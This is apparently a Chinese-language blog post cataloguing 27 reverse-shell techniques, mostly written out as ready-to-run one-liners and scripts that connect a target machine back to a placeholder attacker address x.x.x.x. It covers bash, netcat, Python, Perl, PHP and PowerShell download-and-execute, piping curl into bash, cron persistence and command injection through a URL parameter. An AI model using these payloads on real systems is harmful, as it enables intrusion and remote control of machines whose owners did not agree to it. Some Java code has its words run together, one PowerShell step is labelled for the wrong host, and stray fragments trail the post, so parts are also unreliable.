发布于 

全面解析 27 种 WebShell 反弹技术

全面解析 27 种 WebShell 反弹技术

1. Bash反弹

1
2
3
4
# 攻击者主机上执行监听
nc -lvvp port
# 目标主机上执行
bash -i >& /dev/tcp/x.x.x.x/port 0>&1

2. Netcat反弹

1
2
3
4
# 攻击者主机上执行监听
nc -lvvp port
# 目标主机上执行
nc -e /bin/bash x.x.x.x port

3. Telnet反弹

1
2
3
4
5
# 攻击者主机上打开两个终端分别执行监听
nc -lvvp 4444
nc -lvvp 5555
# 目标主机中执行
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

4. Socat反弹

1
2
3
4
# 攻击者主机上执行监听
socat TCP-LISTEN:port,fork -
# 目标主机上执行
socat tcp-connect:x.x.x.x:port exec:'bash -li',pty,stderr,setsid,sigint,sane

5. Python反弹

1
2
# 目标主机上执行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'

6. Perl反弹

1
2
# 目标主机上执行
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

7. Ruby反弹

1
2
# 目标主机上执行
ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

8. PHP反弹

1
2
# 目标主机上执行(假设有Web服务器权限)
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'

9. Powershell反弹(Windows环境)

1
2
3
# 攻击者主机上执行监听(使用Powercat脚本)
powershell IEX (New-Object System.Net.WebClient).DownloadString('http://x.x.x.x:port/powercat.ps1'); powercat -c x.x.x.x -p port -e cmd
# 目标主机上执行(假设可以下载并执行Powercat脚本)

10. OpenSSL反弹

1
2
3
4
5
6
# 这种方法利用OpenSSL生成自签名证书,并通过TLS/SSL隧道传输shell会话。
# 攻击者主机上生成密钥并启用监听
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port port
# 目标主机上执行
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect x.x.x.x:port > /tmp/s; rm /tmp/s

11. Java反弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.*;
import java.net.*;
publicclassReverseShell{
publicstaticvoidmain(String[] args){
Stringhost="x.x.x.x";// 攻击者IP
intport=1234;// 监听端口
try(Socketsocket=newSocket(host, port);
BufferedReaderin=newBufferedReader(newInputStreamReader(socket.getInputStream()));
PrintWriterout=newPrintWriter(socket.getOutputStream(),true);
BufferedReaderstdIn=newBufferedReader(newInputStreamReader(System.in));
BufferedWriterstdOut=newBufferedWriter(newOutputStreamWriter(System.out))){
// 线程用于读取攻击者的命令并执行
newThread(()->{
try{
String command;
while((command = in.readLine())!=null){
Processprocess=Runtime.getRuntime().exec(command);
// 获取命令输出
try(BufferedReaderprocessIn=newBufferedReader(newInputStreamReader(process.getInputStream()));
BufferedReaderprocessError=newBufferedReader(newInputStreamReader(process.getErrorStream()))){
String line;
while((line = processIn.readLine())!=null){
out.println(line);
}
while((line = processError.readLine())!=null){
out.println(line);
}
}
}
}catch(Exception e){
e.printStackTrace();
}
}).start();
// 线程用于将本地shell的输出发送到攻击者
newThread(()->{
try{
String line;
while((line = stdIn.readLine())!=null){
out.println(line);
}
}catch(IOException e){
e.printStackTrace();
}
}).start();
}catch(IOException e){
e.printStackTrace();
}
}
}

12. Lua反弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
local host ="x.x.x.x"
local port =1234
local socket =require("socket")
local tcp = socket.tcp()
tcp:connect(host, port)
localfunction read_command()
local command = tcp:receive("*l")
return command
end
localfunction execute_command(command)
local file =io.popen(command)
localoutput= file:read("*all")
file:close()
tcp:send(output.."\n")
end
whiletruedo
local command = read_command()
if command ==nilthenbreakend
execute_command(command)
end
tcp:close()

13. Nishang框架(PowerShell)

1
2
3
4
5
6
# 在攻击者机器上监听
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-PowerShellTcp.ps1')
Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 1234
# 在目标机器上执行(假设可以下载并执行脚本)
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-ReverseTcpShell.ps1')
Invoke-ReverseTcpShell -IPAddress x.x.x.x -Port 1234

14. 使用Web服务器

1
2
3
4
5
6
<?php
$ip='x.x.x.x';// 攻击者IP
$port=1234;// 监听端口
$sock=fsockopen($ip,$port);
$proc=proc_open('/bin/bash -i',array(0=>$sock,1=>$sock,2=>$sock),$pipes);
?>

15. 利用系统工具(如curl或wget)

1
2
3
4
5
# 在攻击者机器上创建一个简单的bash反弹shell脚本,并将其托管在Web服务器上
echo 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1' > reverse_shell.sh
python3 -m http.server 80 # 使用Python的HTTP服务器托管脚本
# 在目标机器上执行curl命令下载并执行反弹shell脚本
curl http://x.x.x.x/reverse_shell.sh | bash

16. 利用漏洞(如远程代码执行漏洞)

1
2
3
4
# 假设目标系统有一个RCE漏洞,可以通过URL参数执行任意命令
# 例如:http://target.com/vulnerable_page.php?cmd=whoami
# 构造反弹shell命令并通过RCE漏洞执行
curl "http://target.com/vulnerable_page.php?cmd=bash+-i+>&+/dev/tcp/x.x.x.x/1234+0>&1"

17. 自定义脚本

1
2
3
4
5
6
7
8
9
10
import os
import socket
host ='x.x.x.x'# 攻击者IP
port =1234# 监听端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
os.dup2(s.fileno(),0)# stdin
os.dup2(s.fileno(),1)# stdout
os.dup2(s.fileno(),2)# stderr
os.system('/bin/bash -i')

18. 使用Python的pty库模拟终端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import pty
import socket
host ='x.x.x.x'
port =1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 使用pty模拟终端
master, slave = pty.openpty()
os.dup2(slave.fileno(),0)
os.dup2(slave.fileno(),1)
os.dup2(slave.fileno(),2)
os.execvp('/bin/bash',['/bin/bash','-i'])
# 注意:在实际使用中,可能需要在攻击者端使用类似screen或tmux的工具来管理pty会话

19. 利用Python的paramiko库进行SSH反弹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import paramiko
import subprocess
import os
# 攻击者端设置SSH服务器监听
# 需要一个外部的SSH服务器或者使用Python的SSH库(如paramiko的ServerInterface)来模拟
# 这里假设已经有一个SSH服务器在监听
# 目标端执行以下Python代码
hostname ='x.x.x.x'# 攻击者SSH服务器IP
port =22
username ='attacker_user'
password ='attacker_password'
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)
# 开启一个反向隧道
transport = client.get_transport()
chan = transport.open_session()
chan.invoke_shell()
# 将标准输入、输出和错误输出重定向到该SSH会话
os.dup2(chan.makefile('wb',-1).fileno(),1)
os.dup2(chan.makefile('rb',-1).fileno(),0)
os.dup2(chan.makefile_stderr('rb',-1).fileno(),2)
# 启动bash shell
os.execvp('/bin/bash',['/bin/bash','-i'])

20. 使用Perl的IO::Socket模块

Perl的IO::Socket模块可以用于创建网络连接,从而实现反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
my $remote_ip ='x.x.x.x';# 攻击者IP
my $remote_port =1234;# 监听端口
my $sock = IO::Socket::INET->new(PeerAddr => $remote_ip,PeerPort => $remote_port,Proto =>'tcp');
die"Could not create socket: $!\n"unless $sock;
# 将标准输入、输出和错误输出重定向到socket
open STDIN,">&=$sock";
open STDOUT,">&=$sock";
open STDERR,">&=$sock";
# 启动shell
exec("/bin/bash -i");

21. 利用Java的JSch库进行SSH反弹(类似paramiko)

JSch是一个Java实现的SSH2库,可以用于创建SSH连接。如果目标系统允许SSH连接,并且攻击者拥有凭据,那么可以使用JSch进行SSH反弹。

因为涉及的内容较多,包括设置SSH服务器、处理认证等,不再给出完整的Java代码示例。但基本思路是:在攻击者端设置一个SSH服务器,然后在目标端使用JSch库连接到该服务器,并开启一个反向隧道。

22. 使用Ruby的drb(Distributed Ruby)进行反弹

Ruby的drb(Distributed Ruby)可以用于创建分布式对象系统。虽然不常用于反弹shell,但在某些场景下可能是一个有趣的选择。

注意:由于drb不是专门用于反弹shell的,因此实现起来可能比较复杂,并且需要攻击者设置一个DRuby服务器。

23. 利用目标系统的计划任务或cron作业

如果攻击者能够在目标系统上添加计划任务或cron作业,那么可以设置一个任务来执行反弹shell命令。

例如,在Linux系统上,可以使用crontab -e来添加一个定时任务:

1
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/1234 0>&1'

注意:这种方法需要攻击者具有在目标系统上添加计划任务或cron作业的权限。

24. 使用目标系统的服务或守护进程

某些服务或守护进程可能允许攻击者配置外部命令或脚本的执行。攻击者可以利用这些服务来执行反弹shell命令。

例如,某些Web服务器允许在配置文件中指定错误处理脚本。攻击者可以修改这些配置文件,使其在发生错误时执行反弹shell命令。

注意:这种方法需要攻击者具有修改目标系统服务或守护进程配置的权限。

25. 利用目标系统的漏洞利用工具集

许多漏洞利用工具集(如Metasploit Framework)提供了自动化的反弹shell功能。攻击者可以使用这些工具集来利用目标系统的已知漏洞,并自动执行反弹shell命令。

注意:使用漏洞利用工具集需要攻击者对目标系统的漏洞有深入的了解,并且需要确保所使用的工具集是最新且安全的。

26. 使用目标系统的内置脚本语言(如Python、Perl等)的Web接口

如果目标系统提供了内置脚本语言(如Python、Perl等)的Web接口(如CGI、FastCGI等),攻击者可能可以利用这些接口来执行反弹shell命令。

例如,攻击者可以上传一个包含反弹shell代码的CGI脚本,并通过Web浏览器访问该脚本来触发反弹shell。

注意:这种方法需要攻击者能够上传并执行Web脚本,并且目标系统需要允许这些脚本语言的Web接口。

27. 利用目标系统的远程桌面协议(如RDP、VNC等)的反向连接功能

某些远程桌面协议(如RDP、VNC等)允许反向连接,即目标系统主动连接到攻击者的机器。攻击者可以配置这些协议以使用反向连接模式,并在目标系统上启动远程桌面客户端来建立连接。

注意:这种方法需要攻击者具有在目标系统上启动远程桌面客户端的权限,并且目标系统需要支持反向连接功能。

反弹shell是渗透测试中不可或缺的技术之一,允许攻击者获得对目标系统的交互式访问权限,网络安全从业者需要掌握且擅长,能根据不同的场景来使用不同的反弹shell姿势。

aspx,ascx,ashx

ascx

Asmx